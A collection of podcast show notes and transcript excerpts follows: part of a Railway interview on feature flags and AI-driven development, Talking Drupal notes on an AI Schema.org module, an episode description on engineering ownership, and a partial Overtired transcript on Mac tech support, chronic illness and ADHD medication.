incrementally. We can skip steps and move toward our vision.Alessio [01:09:58]: A lot of people are realizing the roadmap doesn't always have a business impact, so they say tokens are too expensive. But if your roadmap were built to make more money by the time you built it, you'd have token pricing for it, the same way you do with sales. You'd spend a billion dollars on sales if you knew you would get $2 billion of revenue.Jake [01:10:19]: Exactly. A naive way to measure this is the percentage of tokens that end up in production. If you can measure impact because those tokens end up in production, that's awesome. But the burden of proof will rise. Internally, we have a growing number of pull requests that haven't merged. The question becomes: how do you get this into production? It's about how quickly you can build and deploy software, which is exciting because that's our whole thing.The SDLC Shift: Prompt Requests, Feature Flags, and Safe RolloutsSwyx [01:10:56]: The SDLC is changing. One thesis is that the pull request is dying. It's going to be the prompt request. Beyond that, code review is also kind of dying if you have all the other systems in place. What else is changing about the SDLC?Jake [01:11:19]: The AISRE and the tools to make it happen. AISRE is pie-in-the-sky aspirational. What does it take to get an AISRE? What tools do you need to build?Swyx [01:11:32]: You should expose your tooling to customers at some point. The Central Station command center.Jake [01:11:39]: We have it for template maintainers. Template maintainers can deploy and maintain templates, and they get feedback. We're going to expose those things incrementally.Swyx [01:11:51]: Clustering around incidents. Everyone has a version of that, but I don't think anyone has solved it.Jake [01:11:56]: I won't say we've solved it internally, but it's gotten so good that we can see incidents forming pretty quickly. At some point, those will be things either someone else builds or we build. We've always built things purpose-built for us. If it makes sense to make it useful for users, monetize it, or turn that loop into a profit center instead of a cost center, we want to do that.Jake [01:12:28]: Pull request is definitely dying.Swyx [01:12:29]: Do you do first-party feature flagging and incremental rollout stuff?Jake [01:12:34]: We have a feature-flagging engine we built internally and will eventually roll out.Swyx [01:12:38]: I don't see it as a user. How come you didn't give us what you have?Jake [01:12:43]: We have to beta test it. We care a lot about the quality of the things. There's plenty we've used internally that doesn't make it all the way through the journey because it fails. It works for one service but not multiple services. We'd have to build it for multiple services and know that if we released it, we'd rebuild it again and again. Some things are worth that, but many inform the roadmap.Jake [01:13:18]: We don't want to dilute the experience by saying, “This works, but only for this service,” unless it's a core initiative. Over the next few months, we'll roll out things that work for a single service, then multiple services, then multiple services across the environment. You have to be deliberate. Otherwise you create broken disparate experiences and support load because people ask how to use the feature.Jake [01:13:52]: It's the earlier expansion and compaction pattern. You expand the company to get features, then compact and smooth them out so the experience is stellar. You told me in the hallway, “It's gotten so much better.” Internally we're saying, “This part really sucks. We need to make it significantly better.”Swyx [01:14:11]: I can attest to that over the last three years watching you build Railway. For listeners, feature flagging is a huge part of Uber culture. So much so that they have too many feature flags and another thing to remove feature flags. Facebook has Gatekeeper. Agents are going to need this. It's fundamental to incremental rollouts. OpenAI acquired Statsig. GPT-5 is routing and flagging through different models.Jake [01:14:56]: It's super important. If the software development lifecycle is going to change because we're doing things 1,000 times faster and 1,000 times more concurrently, what becomes important at scale?Jake [01:15:16]: Before I started Railway, I built a feature-flagging product and tried to sell it. It was an easier version of LaunchDarkly. I ran into a problem: anyone small enough to adopt your technology doesn't care about feature flags, and anyone large enough to need feature flags needs so much scale that you have to build out all the infrastructure. I scrapped it.Jake [01:15:42]: But what is old is new again. Companies are trying to move quickly, but you can't YOLO a vibe-coded thing straight into production. You need to say, “Here's my blast radius, my impact, and I want to shadow it for these users.” Feature flags. You're going to need the tools larger companies built to maintain their structures. Everything gets compressed by 1,000x so everybody can build those structures quickly.Jake [01:16:07]: That's exactly where we are: compressing the software development lifecycle, then expanding it and adding more new things.Cattle, Pets, and Clonable InfrastructureSwyx [01:16:15]: Another term that comes to mind for newer developers is “cattle, not pets.” People treat production like a pet. It has a name. You baby it and keep it alive. With cattle, you can mass farm, roll out, portion parts out, and kill them.Jake [01:16:37]: I think that might change. You can move toward having pets as long as you have a cloning machine for your pets.Swyx [01:16:52]: Yeah.Jake [01:16:52]: If you can snapshot every single thing at every frame, it doesn't matter if something gets obliterated because you have a snapshot of it. The things we've built right now are designed to block changes from the hermetically sealed DevOps line. You have to write a Dockerfile because you nee
Today we are talking about The Open Web, What it means, and Why it's important with guest Alex Moreno. We'll also cover AI Schema.org JSON-LD as our module of the week. For show notes visit: https://www.talkingDrupal.com/553 Topics Defining the Open Web Drupal in a Bubble Marketing and PR Challenges AI Bias Against Drupal Why AI Won't Recommend Drupal Is Drupal AI Native Marketing Against Giants Local Evangelism Push Funding Outreach Trips Drupal CMS PR Gap Templates Lower Barriers Need a Drupal Onramp Speaking Beyond Drupal Web Summit Lessons Sell Problems Not Drupal Rethinking DrupalCon Camps and New Audiences Marketplace Ecosystem Idea Wrap Up and Contacts Resources Drupalcamp Grenoble 2026 - Bursting the bubble Drupal Iberia keynote Schema dot org Drupal is Great! Its Perception Might Not be TD Cafe - Caching Guests Alex Moreno - alexmoreno Hosts Nic Laflin - nLighteneddevelopment.com nicxvan John Picozzi - epam.com johnpicozzi Bernardo Martinez - bernardm28 MOTW Correspondent Jacob Rockowitz - jrockowitz.com jrockowitz Brief description: The AI Schema.org JSON-LD module provides a straightforward way to send a prompt — including a webpage's content and data, along with instructions and requirements — to an AI provider and receive a response containing valid Schema.org JSON-LD for saving and embedding in a webpage. It's a "glue module" that combines AI Automators, Field Widget Actions, and JSON Field to create an AI-powered Schema.org JSON-LD field for content entities. Module name/project name: AI Schema.org JSON-LD Brief history How old: Created in April 2026 by jrockowitz (Jacob Rockowitz) of The Big Blue House Versions available: 1.0.0-alpha1 (requires Drupal ^11.3); 1.0.x-dev branch also available Maintainership Actively maintained Yes — updated as recently as April 30, 2026 Security coverage No — not currently covered by Drupal's security advisory policy; use at your own risk Test coverage The module notes that all contributed code must include test coverage, though it is early alpha Documentation Yes — the project page includes setup instructions, implementation guidance, philosophy, and a 2-minute demo video on YouTube Number of open issues: 0 open issues, 0 of which are bugs against the current branch Usage stats: 1 site currently reporting use of this module Module features and usage Adds a native JSON "Schema.org JSON-LD" field to content entities (nodes, media, taxonomy terms) Field is populated via an AI automator triggered by a Field Widget Action, keeping a human in the review loop before saving Stores Schema.org JSON-LD as native JSON data, creating a fully queryable knowledge graph for the site Works with complex nested content structures (paragraphs, components) by having AI parse and generate the structured data Includes an optional sub-module for logging prompts and AI responses for human and AI review and iterative improvement Configurable per entity type/bundle via UI, Drush, or Drupal recipe Philosophy: "Use AI to build a tool that helps AI understand your website while always keeping a human in the loop" Built using AI coding agents (Claude and Codex), with community contributions encouraged — especially around crafting and sharing optimal prompts
If you've heard that your job in the agentic coding era is to "become a manager of agents," you may have noticed something doesn't quite fit. Most of us never trained to be managers, and frankly, that's not the role most engineers want. In today's episode, I unpack what that shift _actually_ means — it's closer to a tech lead or architect mindset — and zoom in on a specific interviewing and on-the-job skill that will help you stay employable: how you think about, talk about, and take ownership of failure. Don't Just Bring Star Stories — Bring Failure Stories: Interviewers don't only want to hear how you succeeded. They want to know what you do when the pressure's on and things fall apart. If every story you tell is a highlight reel, there's a built-in social signal that you're hiding something. Get comfortable telling the other kind of story. Identify the Real Problem, Not the Proximal One: The most common failure story I hear in interviews is "the knowledge transfer was bad" or "the docs weren't good." That's not wrong — it's just incomplete. The senior mindset asks why that happened. Why didn't we have docs? Why was context insufficient? Walk it back until you hit something actionable but not too abstract. The Systemic Diagnosis is the Leveled-Up Answer: Fixing the proximal cause fixes this instance. Fixing the root cause fixes the system that keeps producing instances like this. When you connect what you learned to a systemic adjustment, you stop sounding like someone who survived a bad project and start sounding like someone who improves the organization around them. Ownership Means Owning the Outcome, Not the Task: Use the homeowner metaphor. A homeowner doesn't personally fix every leaking pipe — but the outcome of the home is theirs. As an engineer, your scope of ownership has expanded dramatically in the agentic era. You're now responsible for outcomes of code you may not have even read, and the deciding skill is how you carry that responsibility. The Word to Pair With Ownership is Relentlessness: Not in an anxious, burn-yourself-out way. Relentlessness means following a thread to its natural end — through escalation, through asking the next question, through finding the right person if it's not you. It's the antidote to "I'll let someone else handle it" syndrome. You Don't Have to Do It All Yourself: Relentless ownership is not "carry every task across the finish line personally." If you're not qualified, the owner's job is to find who is, communicate risk to stakeholders, and keep the trail alive until the outcome is resolved. That's the differentiator between a senior thinking engineer and a junior one working through assigned tickets. Failure Is Usually a Lapse in Ownership: If you make a list of five things you've failed at (and you should), you'll often find the through-line isn't lack of skill — it's that you stopped escalating, stopped following up, stopped staying with the thing until it was actually resolved. Episode Homework: Write down five real failures. For each one, ask: where did I stop being relentless? What system produced this outcome — and what would I change upstream next time?
Brett records an episode without Christina and Jeff and chats with Melissa Davis (The Mac Mommy) about her start as a mommy blogger and longtime Mac podcaster, her tech-support work, and the strange lack of closure when online friends disappear. They trade mental-health and chronic-illness updates, Adderall vs. Vyvanse, difficulty finding curious doctors, and being labeled “worried well.” Don’t worry, they nerd out on mechanical keyboards, Karabiner, and remapping keys. GrAPPtitudes include Bartender 6 Pro, Sortio for AI tagging, Sketch Party TV, and Karabiner. Sponsor OneSkin improves your skincare routine with science-backed skin care products. With over 10,000 five-star reviews and validation from clinical studies, OneSkin has made a name for itself in the skincare industry. If you’re interested in trying OneSkin for yourself, you can get 15% off your order with the code OVERTIRED at oneskin.co/OVERTIRED. Chapters 00:00 Meet Melissa Davis 00:56 Early Podcast Days 02:20 Tech Support Seniors 05:52 Digital Legacy Work 06:50 Sponsor: OneSkin 08:14 Mental Health Check In 08:34 Insomnia And Focus 13:19 Doing Time Tracker 16:04 Suspenders And Stenosis 20:18 Mobility And Home Hacks 22:10 Melissa Health Update 23:25 ADHD Meds And Mutations 25:25 Curious Doctors Matter 27:59 Vyvanse Vs Adderall 30:26 Tracking Mood With Data 32:27 Cane And Somatic Therapy 36:09 Somatics For EDS 36:50 Yoga Modifications 38:19 Polycystic Liver Shock 39:20 Fatphobia In Healthcare 40:56 Pole Dancing Reality Check 41:55 Mechanical Keyboard ASMR 45:56 Nail Art And Picking 49:09 Keyboard Layout Rabbit Hole 01:00:59 Shortcuts And Muscle Memory 01:03:12 GrAPPtitude App Picks 01:14:07 Karabiner Power Tips 01:17:30 Wrap Up And Thanks Show Links hEDS Doing Timing Royal Kludge Keyboard Gamakey Silent Linear Switches EPOMAKER Switch Benefit Section EPOMAKER AegisSil Keycaps Set SketchParty TV Karabiner Sortio Bartender Pro Day One Join the Conversation Merch Come chat on Discord! Twitter/ovrtrd Instagram/ovrtrd Youtube Get the Newsletter Thanks! You’re downloading today’s show from CacheFly’s network BackBeat Media Podcast Network Check out more episodes at overtiredpod.com and subscribe on Apple Podcasts, Spotify, or your favorite podcast app. Find Brett as @ttscoff, Christina as @film_girl, Jeff as @jsguntzel, and follow Overtired at @ovrtrd on Twitter. Transcript Nails and Keys with Melissa Davis (The Mac Mommy) [00:00:00] Meet Melissa Davis Brett: Hey, this is Brett Terpstra. I am without my usual cohorts, Christina and Jeff. Um, so I, I wanted to, you know, get a, get an episode out for all of you listeners, and I reached out to Melissa Davis, known as The Mac Mommy. Um, I don’t, I, I don’t know if they’re still known as The Mac Mommy, but in m- in my lifetime they have been. Um, Melissa, why don’t you introduce yourself, let people know, like, M-Ma- long time, like Mac personality, podcaster. Tell us where you came from. Melissa: Where did I come from? Outer space. Uh, I came from being a mom. I, I, I will admit, this is hard to admit, But I will admit I started out as a mommy blogger. That’s, like, kind of a bad word nowadays. Brett: back, back, yeah, this is way Back when Melissa: [00:01:00] Yeah. Early Podcast Days Melissa: so we’re talking, like… Well, my oldest is gonna be 20, Brett. My oldest is gonna be 20 this summer. End of, end of June he’ll be 20 years old. So that’s about how long I’ve been doing podcasting. I mean, I started, I started, like, when… Well, you know what? I started listening to Adam Christianson’s The MacCast Brett: But you know what? I started Sure. Like one of the very first podcasts, Yeah. Melissa: still, I still listen to him on the Mac Geek Gab. Like, his voice is just so soothing to me. I used to… Like, that was the f- Back when I had, I had, I remember I had, like, an old G4, uh, Quicksilver Mac, and in the stinky little back room of our old house. And I used to, I used to download the podcasts, burn them on a CD, put them in my Walkman, ’cause I didn’t have an iPod yet at the time. I wasn’t that… I was never really that cutting edge. And I’d burn them on a CD, I’d put the CD in my Walkman, and then I would sit and nurse, I would nurse my baby. I, [00:02:00] and I would have to tuck the, uh, the headphones, you know, I’d have the ear- the, the wired, kinda like I have now, uh, and tuck it behind my back, like, behind my shoulder, because otherwise he’d, like, yank on the cord. And I would just listen to podcasts while I nursed. And I… And then, uh, then I met Victor Cajiao, and I started just kind of being, like, a serial podcaster, showing up here and there, and then it just kinda grew from there. Tech Support Seniors Melissa: Um, and I do… So I do tech support. I’m an IT tech s- tech support person. I… People call me their computer guru. I mostly work with, uh, the senior population, our, our vintage people, which I, I’m slowly becoming one of them. We’re all, we’re all gonna go that way. Brett: I feel like anyone who does Mac tech support deals with probably an, a, a population that skews older. Melissa: Mm-hmm. Mm-hmm. Yeah, it’s actually, it’s actually more– I will say it’s actually more difficult to work with somebody younger. Like, especially people my age or people [00:03:00] that are like, say, in their sixties I consider pretty young, 70 even. Uh, yeah, so but it’s, you know, the people are so, so interesting. You can learn so much. I love working with this population because they’re like encyclopedias, and the stories they tell you and the things you learn, it’s pretty amazing. And I could just, I could just spend– I have actually spent all day with some of them. Some of us just have really great chemistry and, you know, it’s… They– I, I’m also– I have ADHD, that’s no secret. And I think when you get older, um, not– it doesn’t affect everybody, but I do see a lot of what could be either they, they have ADHD or it’s like a– Brett: they have Melissa: of creeps in and it’s just a natural process of aging, cognitive decline. So, yep. Brett: have a lot of patience. Sure. S- some of my, some of my most interesting relationships over the last 10 years have been with, uh, Mac users in their late 70s, [00:04:00] 80s. And, uh, like they’ve been– They’re very– Like, they’re definitely… The people that I’ve known have been technically capable and very interested in learning. That’s why they follow me. That’s how I meet them, right? They’re like, they read my blog, which is just all nerd stuff. And, and so they’re, they’re technically competent, and they’re doing things that I can only aspire to be doing in my 70s and 80s. Um, I had a guy who was writing his memoirs at, in between like mountain bike rides. And so here’s the thing, though, is when you, when you know someone online and they’re in their 80s and you stop hearing from them for a Melissa: Yes. Yes. Brett: you have to assume that they have passed on. and that is sad, and you never really get any closure because you don’t know their friends or family. You [00:05:00] never get like a notice, an obituary. You don’t, you don’t know where these people go, um, and you don’t know how to check in on them once your normal channels of communication are severed. Melissa: Yeah, we’re at that age where we probably start reading the obituaries. Like, I haven’t heard from so-and-so in a while. Let me check the obits." Brett: I had, I had– Before NVUltra went on for, what’s it, like five years now, uh, without a release, um, I had a project called BitWriter with David Halter. And Melissa: remember you mentioning that, yeah. Yeah, and you wondered. Mm-hmm. Brett: he stopped responding. Melissa: you find out any at all? Any, Any, concrete… Brett: Nothing. I have put feelers out everywhere I can think of. I have no idea what happened to him. Melissa: went Richard Simmons, huh? Brett: yeah. Yeah. With less Melissa: No contact. No contact. Aw. Digital Legacy Work Melissa: I, I’m lucky that, uh, in my line of [00:06:00] work, I do typically hear from the family if they’ve passed on, because I form kind of a bond with a lot of people. I, I typically don’t lose clients unless they die, so… Brett: and you have some, like, in real life connections to Melissa: Oh, yeah. Yeah, I do, I do both. I do… I have some clients where I’ve never met them in person, I’ve only ever done remote. Uh, and then, but most of my clients are, are local, the majority of them. But I, I still s- see them remotely too, so yeah. I’ve, I’ve actually been hired by some people, um, mostly I’ve had two male clients who they got a terminal illness, they knew they were terminal, and they followed me online and they pretty much hired me to take care of their surviving spouse. So that, that was… that’s a difficult thing, but I’m just honored that they chose me to, to help them out with that. So I’ve kind of been a bit of a digital undertaker in that regard. Sponsor: OneSkin Christina: I want to take a moment to share something that has significantly improved my skincare routine, OneSkin. [00:07:00] So we all have those days when our skin doesn’t feel its best, and I’ve certainly been in that boat, especially recovering from surgery. And I was tired of navigating through endless products that promised results, but often fell short. And that’s when I discovered OneSkin. It was founded by scientists dedicated to longevity, and this brand stands out for its commitment to real science over marketing hype. They tackle the fundamental question of how to actually slow down skin aging rather than just masking it. And their groundbreaking ingredient is, uh, ZeroS01, and it’s a proprietary peptide designed to help deactivate the damaged cells that contribute to aging skin. Since incorporating OneSkin into my routine, I’ve actually been noticing some improvements. My skin feels smoother. It looks more vibrant. Um, it’s definitely more moisturized, and so this is benefiting from its focus on supporting collagen and strengthening the skin barrier. With over 10,000 five-star reviews and validation from clinical studies, OneSkin has made a name for itself in the skincare industry. If [00:08:00] you’re interested in trying OneSkin for yourself, you can get 15% off your order with the code OVERTIRED at oneskin.co/overtired. That’s 15% off at oneskin.co/overtired using the code OVERTIRED. Thank you for supporting our show by checking them out Mental Health Check In Brett: Um, so do you wanna do a mental health Melissa: Sure. Brett: I, I know, I know you’ve listened to the show before. I know you know how this works. Melissa: how this works. Brett: Would you like to start? Melissa: I think I would like to hear you start, and then I’ll, I’ll add on Brett: that sounds good. Insomnia And Focus Brett: Um, so sleep continues to be a major issue for me. Um, I actually for four days in a row last week, I got eight hours of sleep a night, which was insane. I felt so good. Um- The first night… So I take [00:09:00] Lamictal for bipolar, and if I miss my evening dose, I crash and I sleep in the next morning, and I sleep soundly. Like, it’s the best sleep I can get. And then I wake up and all of a sudden the withdrawal kicks in, and then I’m shaky and dizzy for half an hour after I take the dose. Um, but that’s after, like, a solid night of sleep, and it never works two nights in a row. And, like, I’ve tried, like, maybe if I take Lamictal in the mornings instead of the evenings, maybe I’ll sleep through the night. It doesn’t work after that first missed dose. Um, but then I just, without making any changes in my lifestyle, started sleeping, and I thought finally after, like, two years of insomnia, I had turned a corner, because I can’t remember the last time I got eight hours of sleep for more than two nights in a [00:10:00] row. And then it ended, and then I was up. I’ve been up since 2:30 today. Melissa: I wondered, yep. Brett: I mean, I went to bed at 8:00, so that’s still nine, 10, 11, 12, 11, Melissa: I actually dozed off on the couch around 8:30. Like, if only I could just be in my bed right now, just be, like, transported. Yeah. Oh. Brett: Oh, I, I wish. If I could go back to bed… Like, sometimes I’ll, I’ll lay back down around 7:00 or 8:00 and get, like, another half hour of sleep, but it’s really that, like, uninterrupted block of deep sleep that I need, not… I take naps during the day, and I can usually fall asleep for half an hour, um, given that I’m usually functioning on five hours of sleep anyway. But anyway, um, I– That, that’s just kind of par for the course for me, so, like, any, any of our listeners know that that’s gonna be the first thing I report. Melissa: are you, [00:11:00] like, kinda competing? Like, are you trying to get eight hours because that’s what’s prescribed? Have you ever thought about Brett: be- actually, what works eight and a half, like I’ve, I’ve… Back when I had the option to sleep more than five hours, like, I did a lot of kind of experimentation and Melissa: know where your sweet spot is. Brett: Well, it… See, the sweet pot- spot changes as you age, though, and you need less sleep as you get older. So, so I can’t say for sure that eight and a half hours is still my sweet spot. Um, and I think honestly, if I can sleep seven hours, I feel pretty good, and I consider seven hours a good night’s sleep. Melissa: Yeah, ’cause mine’s like between four and six. Brett: really? Yeah. See, Melissa: feel Brett: I don’t function well. Oh, I don’t function well on anything less than seven hours. Melissa: I just have a love-hate relationship with sleep. I just don’t– I just hate to sleep. I just would rather be doing other things. Life is [00:12:00] just too interesting. Brett: I get that. I– get that. I– as someone who’s bipolar and has had like manic episodes where I’m up for five days straight, like I, I love not sleeping. Um, w- when, when I have the mania to give me energy and back it up. It’s when I’m just dragging all day and feel like a zombie. The thing– The, the plus side to it is the more tired I am, up to a certain point, the better I can focus. Like my brain slows down and it’s really easy for me to get into hyperfocus. And like most mornings I’m up at, you know, 2:30, 3:00 and I just start coding. And I can not only hyperfocus, but I can switch focus between three or four different projects like simultaneously. I hit compile on one, I move on to the next one, and I can rotate [00:13:00] through them and like keep track of all of it. And then right around 10:00 AM, my ability to do that ends and suddenly I like flip to a project and I cannot for the life of me remember what I was doing, which is why I’ve spent my life building note-taking apps and, and time tracking tools. Melissa: Yep, same thing. Doing Time Tracker Brett: dude, h- d- I don’t… You might not be familiar with my project Doing. Melissa: N-no, but I– you alluded to something. that’s not what you’re working on with Dan though, is it? Brett: No, no, that’s gonna be Melissa: Dan on that too. I, I, don’t know what it is yet, but yeah, I’m, I’m Brett: Oh, it’s… Yeah, it’s gonna be cool. Melissa: that’s so exciting. Brett: no, Doing is a command line tool where you can type things like, “Doing now podcasting with Melissa,” and it starts a timer for like what I’m doing now, and then I can ask it if I leave and come back, I can say, “What was I doing?” And it’ll tell me, [00:14:00] “You’re podcasting with Melissa.” Obviously, that’s a weird example ’cause I’m not gonna leave in the middle of this. But then it can give you like totals, time, tag-based time totals, uh, for your week and everything. It can show you like what you finished yesterday. Um, it’s not so much a task tracking app as it is a tool for keeping track of what you’re doing in the moment. Um, for, for people like me who switch between four projects at once, it’s really handy. And some guy, some fucking guy Melissa: Some fucking guy. Brett: it, rewrote it in Rust, and it is really good. it is really good. Uh, he like, I- Oh yeah, I use Melissa: Okay, ’cause Brett: This is, this is separate. this is this is a little more ‘ intentional than Timing. Um, I use both. They kind of work together, and Doing can actually import Timing’s JSON exports. So you can turn your, you can turn [00:15:00] all your Timing data into command line, uh, readable Doing files. Um, but anyway, this guy rewrote it in Rust with my permission, and he gave me full credit on the page. And I think I’m switching ’cause Doing is written in Ruby, and Ruby is slow, and Rust is fast. And like my Doing file where it stores all of my current projects, like my Doing items, gets so big that it can take Doing like up to five seconds to respond when I ask it, “What was I doing today?” Which is five seconds is a long time on the command line. Um, and his Melissa: pretty instantaneous. Brett: his version is like 100 milliseconds. Boom. But anyway, Melissa: It’s almost like you built your own little AI thing. Like, what was I doing? What Brett: kinda, kinda, yeah. Melissa: you doing, Dave? Brett: This is, this [00:16:00] was built long before AI was a common thing, but the other thing that’s contributing to my mental health Suspenders And Stenosis Brett: is suspenders. Melissa: Ah, yes. Brett: So I have I have gained 100 pounds, um, not, n-not of my own choice, but like I had rapid weight gain and I recently got a stenosis diagnosis, which I hate the Melissa: telling you, I’m telling you, we’re like 23 and me here. I’ve got that too. Brett: apparently during one of my, like when I gained 50 pounds in like six weeks, my body was looking for places to store all the new fat and decided my spine might be a good place for that. Um, so I have fat in my spine and I have degrading discs. This is separate from my love of suspenders, so I’ll get back to [00:17:00] that. I, um, Melissa: Wait till you get it in your eyeballs. Brett: Oh, for real? Melissa: Yeah, you can have… I have, um, what’s it called? Cholesterol. Yeah, if you look at your eyes really close, if you see like a white kind of w- ridge around your irises, that’s cholesterol. Brett: Oh, wow. Yeah, I hope, I hope that hasn’t happened yet, but who knows? Um, Melissa: Brings out Brett: I– So I have all this, I have all this extra weight and I had a lot of trouble with belts. A, belts hurt ’cause they dig into my, my gut, and they don’t really work. I, every, every time I stood up, my butt crack showed and I had to like wiggle my pants up. And then I I tried a pair of suspenders and it was like a l- a switch had been flipped. All of a sudden my pants just stayed up without any constriction around my waist, just like they just stayed with me wherever I went. And now I can, [00:18:00] I can tuck my shirts in and it actually looks kinda cool when you got the suspenders look going on. Which means, so like for a long time I only wore one brand of shirt, um, and because they, it was, it fit my belly and it was long enough and like it wasn’t, wasn’t baggy around the top and didn’t hang off my belly like a muumuu. Melissa: Mm-hmm, Brett: And like, so I, I, I only wore this brand of shirt and I own like 15 of them, and I would just cycle through Melissa: dresses, they’re just your Walmart $10 cotton tank dress. Love it. Brett: Yeah. But now that I can tuck my shirts in and feel okay about it, I can buy those extra large nerd shirts, ones with funny slogans and stuff on them. And normally those would hang straight down off my belly, and I hate the way that looks. But now I can tuck those in, which means I can get back to wearing funny, [00:19:00] ironic T-shirts, and it, it’s like opening up a whole new world of possibilities Melissa: That is a bonus for mental health. Brett: every day now I put on my suspenders and it makes me happy. Um, Melissa: wonderful. It’s almost like a, like a mobility aid. Brett: Kinda, yeah. Melissa: yeah. Brett: of, I– So I, I have a monopod, um, like a tripod that folds up into a walking stick, and it’s nice and light and it is an adjustable height ’cause it’s designed to be used as a camera tripod. Um, and I’ve started walking with it Melissa: yeah. kinda like you’re Brett: I c- yeah. Yeah. Like one of my fat friends has s- literal like ski poles. They’re like half height ski poles and they walk with them and it helps them a ton, and I Melissa: Yeah, hikers use those. Brett: try that out. But a walking stick [00:20:00] really does help with my stenosis, but I can still, even with a stick, I can only walk for about five minutes, which is about .3, Melissa: Yeah. Brett: 3, .3 miles. Um, and then I have to stop and sit, and it’s been a real pain, literally. Mobility And Home Hacks Melissa: And is standing difficult, too? Brett: standing is worse than walking. Melissa: thing, yeah. Standing’s worse. Brett: Yeah. Like if I am in the kitchen and I’m at the stove cooking, before the onions start to brown, I have to sit Melissa: Yeah. Yep. Brett: Uh, so we now have a stool in our kitchen, Melissa: Do you have one in the shower? Brett: yes. Well, our shower, our shower has a nice, like the back of the tub is a seat. Melissa: Oh, okay. Yeah. Brett: I don’t know if this house was designed by old people or not, but, um, but it’s certainly everything is relatively [00:21:00] accessible in that way. Um, but the stool in the kitchen means I can cook dinner. Emptying the dishwasher is the worst for me. That just like bending over, picking stuff up, and then just moving back and forth, like the five feet across our kitchen. My– I, it takes me three stops, three rests to get a dishwasher emptied. Um, and then I’m kind of ruined after that. I hate it. And I hate that I Melissa: stress mat? Brett: What’s that? Oh, you mean Melissa: mat to stand on? Gotta get, gotta Brett: think that would help? Melissa: Oh, yeah. Yeah, I have Brett: used to have one Melissa: and one in front of the kitchen, and I don’t even, I don’t even, do the cooking. Brett: Ha. I used to, I used to have one of those in front of the stove when I w- when I didn’t have pain, but just because I was really getting into cooking and I was spending a lot of time, and I was starting to feel it in my knees. Um, yeah, maybe I should do Melissa: I think it’s a fatigue [00:22:00] mat, I think they call it. Brett: Yeah. Melissa: Yeah, Brett: That sounds Melissa: plus they look cool if you get little designs on them and stuff. Yeah. Oh, we could spend the day talking about just mobility aids and ergonomics and all that kind of stuff. Melissa Health Update Brett: Well, it’s your turn. Talk about whatever you like. Melissa: Yeah, you give me some ideas to talk about. Um, yeah, I struggle with a lot of the same things that you do. Um, I’m always like kinda comparing notes every time you post something. I’m like, "Oh No, ‘Cause you talked about Have you … You haven’t started the injections yet, have you? Brett: No, and they just delayed those. I don’t get them until like June 20th or something. Melissa: nervous about those for you, because I’ve had those and I’ve decided to just swear off them, so I’ll just kinda give you just a heads-up. I mean, it does raise your blood sugar, so that’s not great, and, um, it can give you the roid rage, kinda make you angry, so that’s something to watch out for, and more weight gain, so …But it’s like one of those things where you just have to kinda try [00:23:00] it and see if it works, because if it does work, then you could be more mobile and then maybe drop a few pounds and get some of that weight off of your spine. But if it doesn’t work, just know that that can happen, Brett: my doctor did not mention any of those side effects, so good to Melissa: Yeah. Yeah. It’s, it’s the chronic life, so that’s, that’s what, that’s what, uh, affects my mental health, so I’m, I’m really good at faking it. I am actually … I will say I’m actually feeling a little bit more even. ADHD Meds And Mutations Melissa: I’m on, uh … I love when you talk about different prescriptions and stuff. Uh, I just mentioned, so I’m taking Adderall. That is, ugh, it’s a mixed bag. Um, I wanted to ask you about Vyvanse, cause that’s the next thing for me, but it’s, like, super expensive, so I’m trying to make Adderall work as best I can, but I’m, I’m in the process of playing with the dosage. But I think she told me, like, the highest was 30. The thing is, uh, I’ve had genetic testing done, and [00:24:00] I have this condit- not a condition, but it’s a I’m a mutant. It’s a genetic mutation called, it’s, it’s just initials. It’s MTHFR, lovingly known as Brett: you process your, your, chemicals twice as … fast. I have Melissa: Yes, faster processing in the liver. So that’s when she told me, ’cause she started, uh, me out on methylphenidate, and I was like, “Well, what about Adderall?” Because it, I see it work for my kids, you know? The kids are chip off the old block, right? And so I’ve had them tested too, and all three of us are positive for that. It’s lovelin- lovingly known as the motherfucker gene mutation. Um, yeah, so, and it is. It’s, it’s quite a bitch, um, ’cause it causes a whole bunch of other problems. And of course, we’ve talked about Ehlers-Danlos, so I have, uh, hypermobile Eh- Ehlers-Danlos. I’m having a hard time … I’m just having a hard time with that in general, mental health wise, because there’s just not enough awareness about it, enough people, and doctors, doctors and nurses. And you know, I’ll, I’ll say I wanna, I would love to be able to get [00:25:00] to a point where I can just say, “I have H-E-D-S,” or heads or what- however they’re gonna pronounce it, and, like, somebody know what that is when I go in for an appointment. But I still have to explain it, you know? And then that, that cuts into my time. ‘Cause they only … When you’re, when you’re our age, they only give you, like, 15 minutes, if that. When you’re much older, ’cause I’ve had to take, I’ve had to take family members to the doctor, they get a whole lot more time. But, uh, you know, it’s like, "Oh, you’re, you’re too young to be this sick. You’re too young to be this old," Brett: Right. Yeah. Curious Doctors Matter Brett: Um, I did– I found that doctor for me that knew exactly what all those acronyms meant, knew exactly, like, not only did they know what POTS was, they knew like seven different kinds of POTS and what tests to use to narrow it down. And then she got called up to National Guard Melissa: Oh, I wondered, I wondered, what happened to that doctor, ’cause it sounded so Brett: I waited. I was on a, I was on– I w- I had an appointment scheduled that was gonna be six months from the time she [00:26:00] left. Um, and I had it scheduled, and it was on July 7th. And then I got a letter in the mail saying that her Guard duty had been extended, and now I can’t see her again until September. And, like, I’ve, I’ve tried seeing other doctors that work with her, but none of them have the knowledge she has, and it was such a relief Melissa: Is this the curious one? Okay. I always think about you whenever I’m either looking for a provider or in the, in the midst of, of getting, you know, shuffled around to a new provider. I’m like, “I hope they’re curious,” ’cause that made– that meant so much to me when you explained about how a doctor needs to be curious. I’m like, “That’s what I need.” I need somebody… Or even just my therapist. I have a new, a new therapist that I see, and she’s really curious, and I really, really like that about her. That’s something that helps with mental health, is when somebody’s curious, ’cause I’m Brett: it goes h- it goes hand in hand with credulousness. Like, [00:27:00] first they have to be willing to believe you, and like, especially when it comes to invisible issues like EDS. Like, you have to be willing to believe a person and then be curious enough to look for answers. Like, the first step is believing, and the second step is curiosity. Melissa: Yes. I’ve already had my patient record marked as… Have you ever heard this one? Worried well. Brett: No. Melissa: I looked it up. It’s basically hypochondriac. Brett: Yeah, that’s what I was gonna guess. That Melissa: Yep. I actually– I was proud of myself because I actually did confront the doctor about it and I said, “What does this mean?” I said, “I, I looked it up and it kinda concerns me ’cause it makes me look like a hypochondriac.” And she said, "Oh, no, no, that’s just a, a code that we use when we don’t have something else to assign to it so that insurance will pay." Bullshit. Brett: Yeah, right? I feel like that’s exactly the kind of [00:28:00] thing insurance doesn’t pay. Melissa: Mm-hmm. so Vyvanse Vs Adderall Brett: what do you wanna know about Vyvanse? Melissa: Um, a- and I know it’s different for everybody, but I just kinda wondered what your take was on it. Um, how– can you compare it to 